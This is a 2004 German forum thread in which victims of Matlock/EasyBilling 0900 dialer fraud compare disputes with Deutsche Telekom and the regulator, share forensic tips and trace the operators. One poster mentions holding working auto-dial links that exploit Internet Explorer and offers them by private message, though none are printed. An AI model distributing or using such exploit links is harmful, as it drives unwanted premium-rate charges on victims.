Fuer Technikinteressierte ist Einsicht auf Matlock LAs Seite hier moeglich. Dialer ist nicht verlinkt, deswegen ungefaehrlich. Und die Rufnummer sollte die Einsatzzentrale der Polzei sicherlich interessieren..., und ist kostenlos  Allzuviel sollte man aber mit der URL aber nicht herumexperimentieren. Danach wird auf eine scharfe URL umgeleitet, und eine Autoeinwahl ausgeloest, immer nach dem selben Schema und mit mehreren Exploits im Internetexplorer. Diese scharfe URL kann aber auch direkt verlinkt werden... Ich habe derzeit funktionsfaehige Direkteinwahllinks fuer folgende Nummern:
090090000422
090090000429
090090000264
090090000268
Kann man entweder der RegTP mitteilen (morgen), oder aber dem freundlichen Telekommitarbeiter im Backoffice zum Ausprobieren zuschicken. Wer mehr ueber die Webseite einer anderen Nummer weiss, bitte ich um PN. Wer von den hier genannten Nummern betroffen ist und fuer einen Widerspruch brauch, kann ich die Links per PN zukommen lassen.

Gruesse,
TSCoreNinja


----------



## KalleM (18 März 2004)

@ Hrachka

Soweit ich weiß soll das Thema Matlock/EasyBilling Thema der Sendung am 22.03.04 sein. Laut Fernsehzeitschrift ist hier aber als Thema "eBay und Onlinehandel" vorgesehen. Bei Planetopia Online habe ich folgenden Programmhinweis gefunden. 



> *Planetopia Online schreibt:*
> Mo., 5. April 2004: Ungebetene Gäste: Trojaner, Keylogger und Co.
> Eine Email von Unbekannt oder ein unabsichtlicher Download und schon ist es passiert: Ein Trojaner-Programm hat sich eingeschlichen und übernimmt die Kontrolle über Ihren PC. Was jetzt? PLANETOPIA zeigt, wie Sie sich vor ungebetenen Gästen auf Ihrem Rechner schützen können.



Kannst du oder jemand anderes den genauen Sendetermin (22.3 oder 5.4 ???  :gruebel: ) bestätigen...


----------



## Anonymous (18 März 2004)

*Matlock & Co*

Hi Leute,

habe heute auch ein längeres Telefonat mit der Telekom geführt, man hat in den letzten Wochen eine Menge Beschwerden und Widersprüche erhalten, die sich alle auf Matlock beziehen. Scheint so, als wäre man langsam hellhörig geworden. Man will noch mehr Informationen haben.
Womit kann ich auf meinem Rechner den sogenannten Hashcode für die Nummer 090090000263 in Erfahrung bringen? Wo kann ich evtl. ein Programm downloaden?
Ich habe heute eine längere Mail (Beschwerde) an die REGTP verfaßt. Ob es etwas nutzt? Keine Ahnung. Warten wir es ab.

bis dann


----------



## hrachka (19 März 2004)

Hallo, 

Telecom hat sich endlich bei mir gemeldet, mit einem 5 seitigen Schreiben, in dem man mir erklärt, die solche Dailer funktionieren, wie sie alle geprüft sind, wie sie bei der RegTP registriert sind, dazu auch die Adresse in Eggebeck usw. usf. und....das Interessanteste......ich soll mein Buchungskonto bei denen Ausgleichen. FRECHHEIT, oder?!


----------



## Petrus (19 März 2004)

*DTAG back office*

Hi Forum,

nachfolgend die arrogante Antwort des back office der DTAG, die jede vertiefte Beschäftigung mit den von mir erhoben Vorwürfen ablehnt:

"Sehr geehrter Herr XXX

wir bedauern, dass die Antworten bezüglich Ihres Anliegens für Sie Anlass sind, den bis heute geführten Dialog fortzuführen.

Allerdings ändert Ihre erneutes Schreiben nichts an dem Umstand, dass es sich bei Ihrer erneuten Einwendung um eine Wiederholung Ihres uns bereits bekannten Standpunktes handelt.

Unseren Standpunkt haben wir Ihnen bereits mit unseren Schreiben vom 12.02.04 und 20.02.04 mitgeteilt.

Wir bitten Sie deshalb, auf weitere Schreiben zu beantwortetem Sachverhalt zu verzichten.

Jedenfalls nehmen wir aus Kostengesichtspunkten davon Abstand, nochmals zu beantwortetem Sachverhalt zu antworten.

Aus diesen Gründen werden wir den Vorgang an unsere Anwälte Seiler & Kollegen in Heidelberg zur weiteren Bearbeitung abgeben.

Sie werden von den zuvor genannten Anwälten weitere Nachrichten erhalten.

Um auch Ihnen Wiederholungen zu vermeiden, möchten wir Sie bitten, unsere Position zur Kenntnis zu nehmen und zu respektieren.

Mit freundlichen Grüßen"


Mit himmlichen Grüßen

Petrus


----------



## Betroffener20.02 (19 März 2004)

*Kundenfreundliche Telekom bei Nr.  .......263*

Hallo Blumenwiese23 u. Rudolf WERNER,

da ich mittlerweile schon 2mal schriftlichen Kontakt und meherere Telefonate mit der Telekom geführt habe, ist nun eine Mahnung angekommen.
Da, so die Telekommitarbeiter, Ihnen die Hände gebunden sind. Für Sie ist alles in bester Ordnung, da sich der Dialer bei der RegTP registrieren ließ und geprüft wurde.
Ich habe allerdings heute nochmals mit der RegTP telefoniert und sie teilten mir mit, dass etwas gegen den Dialer 090090000426 was am Laufen ist (allerdings eine langwierige Sache) und die RegTP prüft rein gar nichts, absolut nichts. Dies bedeutet ein Dialer kann alles in das Anmeldungsformular der RegTP schreiben, ob dem auch wirklich so ist, d. h. ob auch wirklich über den Preis informiert wird und die ganzen Fenster mit dem JA-Feld aufgehen, prüft kein Mensch.
Der Dialer kann also später machen was er will, er muss sich nur richtig anmelden und der Rubel rollt.
Da frage ich mich, für was dann noch anmelden und registrieren.

Nun muss ich versuchen, die ganze Angelegenheit bei der Telekom noch in die Länge zu ziehen, nur wie.

Rudof WERNER
schrieb, dass obwohl sich der Dialer 090090000263 automatisch löscht, wie auch bei mir und man somit keine Beweise hat und auch keinen Hashwert ermitteln kann, die Telekom Einsicht hatte.
Könnte ich dazu den genauen Wortlaut haben, was du der Telekom geschrieben hast bzw. als Antwort erhalten hast?

Oder vielleicht kann mir auch Blumenwiese23  weiterhelfen, da du schon Kontakt mit Rudolf WERNER hattest.

Betroffener20.02


----------



## blumenwiese23 (19 März 2004)

*Re: Kundenfreundliche Telekom bei Nr.  .......263*



			
				Betroffener20.02 schrieb:
			
		

> Hallo Blumenwiese23 u. Rudolf WERNER,
> 
> Oder vielleicht kann mir auch Blumenwiese23  weiterhelfen, da du schon Kontakt mit Rudolf WERNER hattest.
> 
> Betroffener20.02



@betroffener20.02 was hat den die regtp genau gesagt??

ich hatte leider kein kontakt mit rudolf werner. ich warte noch auf ein aktenzeichen bezüglich  einer aussage der regtp. vielleicht gibt es aber auch kein aktenzeichen.
außerdem warte ich noch auf ein antwortschreiben der dtag.
man muss zeit bei der telekom schinden und hoffen, die regtp bewegt sich.


----------



## Anonymous (19 März 2004)

*090090000422*

hallo TSCoreNinja,

du hast in einem deiner postings geschrieben, das du die wirkungsweise der einwahl 090090000422 als videodatei hast. Wie kann ich diese von dir erhalten, da ja emailanschriften hier im forum direkt gelöscht werden, gibts vielleicht eine homepage von der man sich das video herunterladen kann??

ansonsten möchte ich gerne wissen wie ich den hashwert von der 090090000422 herausbekomme, da wahrscheinlich alle daten von meinem pc gelöscht wurden und ich nicht glaube noch etwas zu finden. 

wie weit ist den der erkenntnisstand zu der besagten einwahlnummer, hat da jemand vielleicht noch den überblick

danke & gruss
frank


----------



## Petrus (19 März 2004)

*Gewinnspanne der DTAG*

Hi Forum

Qoppa teilte am 13.03.2004 um 19:25 die Rohdaten mit, wieviel die DTAG dem Kunden in Rechnung stellt und wieviel an das nachfolgende Inkassounternehmen abgeführt wird.

Die Margen der DTAG errechnen sich daraus wie folgt:

Gewinnspanne der DTAG in Euro bzw. Prozent			

Tarif...Kunde...Inkasso...DTAG....Marge der DTAG


T1......0,433....0,154......0,279.......64,4%
T2......0,618....0,338......0,280.......45,3%
T3......1,237....0,902......0,335.......27,1%
T4......1,855....1,478......0,377.......20,3%


Je nach Tarifgruppe erhält die DTAG pro Gebühreneinheit zwischen rund 28 Cent und 38 Cent.
 Die Marge liegt zwischen 64 und 20 Prozent.

T3 ist wahrscheinlich der Tarif, der uns alle hier betrifft. 

Eine Marge von 27,1 % ist bei dem vermuteten (und durch entsprechend betrügerisch programmierte Dialer neu generierten) Umsatz von mehreren hundert
Millionen Euro eine Ertragsposition, die offensichtlich alle gründlichen und sorgfältigen Nachprüfungen der DTAG aufgrund von Kundenbeschwerden besonders "beflügelt".

Mit himmlischen Grüßen

Petrus


----------



## blumenwiese23 (19 März 2004)

*Re: 090090000422*



			
				gast schrieb:
			
		

> hallo TSCoreNinja,
> 
> du hast in einem deiner postings geschrieben, das du die wirkungsweise der einwahl 090090000422 als videodatei hast. Wie kann ich diese von dir erhalten, da ja emailanschriften hier im forum direkt gelöscht werden, gibts vielleicht eine homepage von der man sich das video herunterladen kann??
> 
> ...



du musst dich anmelden, dann kannst du pn´s bekommen und verschicken. dort kann man e-mails angeben.

gruss


----------



## Betroffener20.02 (19 März 2004)

*Aussage RegTP*

Hi Blumenwiese23,

du hast eine pn.

gruß

Betroffener20.02


----------



## hrachka (19 März 2004)

Die AROGANZ von DTAG geht über jetliche Grenzen hinaus. Nach dem erneutem Telefonat hat man mir gesagt, dass die Stellungnahme die ich erhalten habe wird sich nicht ändern ihrerseits. So muss ich zahlen. Was wiederum auch gar keinen Fall passieren wird.

Warum sammeln wir nicht etliche Beweise irgendwo und lassen sie von einem Profi überprüfen. Alles riecht nach einer gerichtlichen Auseinandersetzung mit der DTAG


----------



## Anonymous (19 März 2004)

*Dialerbetrug Matlock*



			
				TSCoreNinja schrieb:
			
		

> "Fuer Technikinteressierte ist Einsicht auf Matlock LAs Seite hier moeglich. Dialer ist nicht verlinkt, deswegen ungefaehrlich. Und die Rufnummer sollte die Einsatzzentrale der Polzei sicherlich interessieren..., und ist kostenlos "
> 
> Der 110 sollte man keine Bedeutung beimessen, ich habe die Nachbarbarnummern ausprobiert, dann läßt sich die Seite immer noch aufrufen. Zur Zeit scheinen die Zeichen nach dem Fragezeichen noch nicht determiniert zu sein.
> 
> ...


----------



## Anonymous (19 März 2004)

*nommal...*

ich hab vor einigen tagen was festgestellt:

http://forum.computerbetrug.de/viewtopic.php?p=44910#44910

hat irgendjemand eine antwort drauf?

mfg profiler


----------



## blumenwiese23 (19 März 2004)

@hrachka, was soll da ein "profi" überprüfen. es gibt genug indizien und handfeste beweise über die matlock dialer. bin zwar kein jurist, aber dass was tscoreninja und andere ermittelt haben dürfte eigentlich reichen. (bitte um berichtigung falls falsch)
es gibt ja auch schon ein viedeomitschnitt über eine automatische einwahl eines matlock-dialers. 

gruss


----------



## sherlock70 (19 März 2004)

@profiler: Ich kann dazu nichts sagen, allerdings solltest Du Dir das gut aufheben, denn wenn Du doch eine Rechnung bekommst für diese Geschichte, kannst du zumindest argumentieren, daß Du den erwarteten Mehrwert (was auch immer das sein mag) den dir dieser Dialer geben sollte nicht erhalten hast. Als Beleg sollte das Protokoll ausreichen (denke ich)

Gruß

Sherlock


----------



## TSCoreNinja (19 März 2004)

*Re: Dialerbetrug Matlock*



			
				Anonymous schrieb:
			
		

> Der 110 sollte man keine Bedeutung beimessen, ich habe die Nachbarbarnummern ausprobiert, dann läßt sich die Seite immer noch aufrufen. Zur Zeit scheinen die Zeichen nach dem Fragezeichen noch nicht determiniert zu sein.
> 
> Mit himmlischen Grüßen
> 
> Petrus


Ich weiss, war extra gewaehlt, damit die Leute nicht verlinken koennen  Nimm mal eine real existierende Einwahlnummer... Dann kommt auch ein Hash. Wenn Du lange genug veraenderst (Teil des Pfads  /exe/ ), gibts gar einen Alibi-Dialer mit passendem Hash.


----------



## TSCoreNinja (19 März 2004)

*Matlock Business News*

@TSCoreNinja

das gesamte Posting wurde als Zitat ins Linkforum verschoben, da es an so vielen Stellen gegen die NUBs verstößt,
das es unzumutbar ist dies zu editieren. Melde dich dort an, dann kannst das Posting unter deinem Namen 
absetzen, dann lösche ich das Zitatposting. Für genau solche Fälle wurde das Forum geschaffen, 
dort findest du auch dein erstes Posting .  


tf


----------



## hrachka (19 März 2004)

blumenwiese23 schrieb:
			
		

> @hrachka, was soll da ein "profi" überprüfen. es gibt genug indizien und handfeste beweise über die matlock dialer. bin zwar kein jurist, aber dass was tscoreninja und andere ermittelt haben dürfte eigentlich reichen. (bitte um berichtigung falls falsch)
> es gibt ja auch schon ein viedeomitschnitt über eine automatische einwahl eines matlock-dialers.
> 
> gruss



Was ich eigentlich sagen wollte ist folgendes. Klar ist es, dass auf verschieden Art und Weise Dailer sich an unsere Rechnern hineingeschmuggelt haben und Unkosten verursacht. Für jede Nummer hat es eine eigene "Version". In meinem Fall wurde die Nummer 090090000263. Bislang habe ich nicht erfahren können, wie sich der Dailer genau runtergeladen hat, ausser - WEB.EXE, was ich bei mir gesichert und festgestellt habe, dass es sich total im Widerspruch mit RegTP befindet. Abgesehen davon kann ich leider nicht nachweisen, wie dir Verbindung zustande gekommen ist. Ich habe zwar ein Programm da, das sich löscht sobald gestartet und abgebrochen, aber wie kann ich beweisen, dass die Verbingung dadurch zustande gekommen ist?! Deswegen, wie wäre, wenn wir irgendwo verlinkt, für jetliche 090090000xxx Nummer verzeichnissmässig dir Informationen zusammenstellen und uns darauf beziehen. Ich werde angesichts des Schreibens von der DTAG zu mir, einen entsprechendes Schreiben verfassen, wo ich idiotenmässig nochmals mit Screenshot der DTAG vortragen werde. Vieles deutet darauf hin, dass das nächste Schreiben von der DTAG an mich mit uns bekannten Antwaltskanzlei bedroht wird. 

Wenn wir uns nicht organisieren, können wir im einzelnen DTAG nicht erfolgreich bekämpfen.


----------



## eb-victim (19 März 2004)

hrachka schrieb:
			
		

> Warum sammeln wir nicht etliche Beweise irgendwo und lassen sie von einem Profi überprüfen. Alles riecht nach einer gerichtlichen Auseinandersetzung mit der DTAG


Wenn die Telekomiker nicht hören wollen, dann müssen sie ...
... halt klagen.
Ich bin mir nicht sicher, ob die Telekom klagen wird - hoffentlich nicht!
Falls doch, können wir immer noch Informationen sammeln.


----------



## eb-victim (20 März 2004)

*Beweismöglichkeit für XP-Anwender*

Diejenigen XP-Anwender, die Opfer eines Matlock-Dialers wurden, finden evtl. im Verzeichnis
  X:\WINDOWS\Prefetch
"Beweismaterial".

Datum und Uhrzeit der .PF-Dateien müssen zur Dialer-Verbindung passen.
Relevante Dateien sind WMPLAYER.EXE, WEB.EXE und RAD*.EXE, z. B.
WMPLAYER.EXE-0DF6140B.pf
WEB.EXE-2D5BCCDC.pf
RAD74ED1.EXE-0209E423.pf

Hinweis: WMPLAYER.EXE ist nur dann verdächtig, falls Datum und Uhrzeit zur Dialer-Anwahl passen.
Wird der Dialer als WMPLAYER.EXE aktiv, dass ist es m. W. immer ein unregistrierter Dialer.

@ alle:
weiß jemand, welche Informationen in einer .PF-Datei stecken?
Falls eine Prüfsumme enthalten ist, kann man so evtl. nachweisen, dass die Anwahl durch einen unregistrierten Dialer erfolgte.
[Mir hilft's leider nicht, weil mich der Dialer unter Windows 2000 erwischte ...]


----------



## cicojaka (20 März 2004)

[spekulation an]

Noch einmal zur Dialereinwahlseite xxx-gate (alias xxx-tor): Es gibt über google eine Reihe von links mit dieser Seite. Daraus scheint sich ableiten zu lassen, dass diese links einen ID-Schlüssel enthalten. 

Die bei PH eingesetzte Seite erwähnt z.B. sv-de-out o.ä.

Es gibt neben der Seite mit den Amazonen auch Seiten, auf denen links enthalten sind. Einige dieser links führen zu Seiten, die auf eine Firma "sv" eingetragen sind.

"Matlock" scheint ein "Partnerprogramm für ausgewählte Kunden" zu haben - und es wäre äußerst spannend, diesen Kundenkreis genauer bestimmen zu können...

(Dies ist reine Spekulation)

[spekulation aus]


----------



## Step (20 März 2004)

*Versionsnr. / Hashwertvergleich*

Nun habe ich einen Dialer zu meiner Nr.
Den Hashwert zu diesem ermittelt, aber wer sagt mir,
daß dieser Dialer in dieser Version Schaden auf meinem PC angrichtet hat - suche Dialer für Nr. -425 ? (Er stammt nicht von meinem PC sondern wurde nachträglich gesaugt)

Und vor allem wie kann ich nun die VErsionsnr. kontrollieren???
Sprich stimmt Version zum HAshwert?
Also, Hilfegesuch an alle - wie entlocke ich einem Dialer seine VErsion?
Danke...


----------



## hrachka (20 März 2004)

WEB.EXE meldet selber seine Version - Button unten anklicken - gemäss der Anforderung von RegTP


----------



## handymann8210 (21 März 2004)

*Von welchen Seiten kommen die Dailer der Nummer 0900900262*

Hallo,

ich bin letzen Monat ein Opfer der Nummer 0900900262. Diese Nummer hat mich insgesamt um 180 EURO erleichtert. Ich weiß allerdings nicht von welcher Seite dieser Dailer gekommen ist. Hier im Forum habe ich nur gelesen das die Dailer von Easybillig vertrieben werden? Kann mir jemand helfen?

Vielen Dank für Eure Hilfe

Sebastian Ritter


----------



## technofreak (21 März 2004)

@cj

wie du richtig erkannt hast, gehört dein Posting ins  Linkforum und deswegen wurde das Posting 
auch dorthin verschoben

tf


----------



## technofreak (21 März 2004)

@cj

wenn dir an einer sinnvollen und für andere (Gäste ) gefahrlosen Zusammenarbeit gelegen
 ist, warum meldest du dich nicht
im Linkforum an?

tf


----------



## TSCoreNinja (21 März 2004)

Matlock Registrierer:
Ich dachte, Matlock wuerde immer nur Erotik&Pornoseiten bedienen. Weit gefehlt. 090090000900 ist auch auf Matlock zugelassen. Mir aufgefallen, weil die eine [com]erzielle [chat-und-flirt]  Seite im [www] betreiben, mit Matlock Dialer. Registrierungsverpflichteter:


> AKU - Agentur für Kommunikation
> und Unterhaltung GmbH
> Langacker 19
> 24852 Langstedt


Liegt nahe bei Eggbert. Nicht nur geographisch. Der Name des Vertretungsberechtigten ist naemlich identisch mit einem Vorstandsmitglied der Easybilling AG.

Kennt jemand diese Firmen? Gibt es noch sonstige Matlock Seiten? (Sollte mal ein Script zu Abfrage sequentiellen Abfrage der RegTP Dialerdatenbank zusammenhacken). Kennt ueberhaupt jemand eine annaehrnd rechtskonforme Matlock Seite (bitte mir per PN den Link schicken)? 
Gruesse,
TSCoreNinja


----------



## Heiko (21 März 2004)

Aufgrund nicht behebbarer technischer Probleme mit dem Thread geschlossen.

Bitte dort weiterdiskutieren:
http://forum.computerbetrug.de/viewtopic.php?t=4581


----------

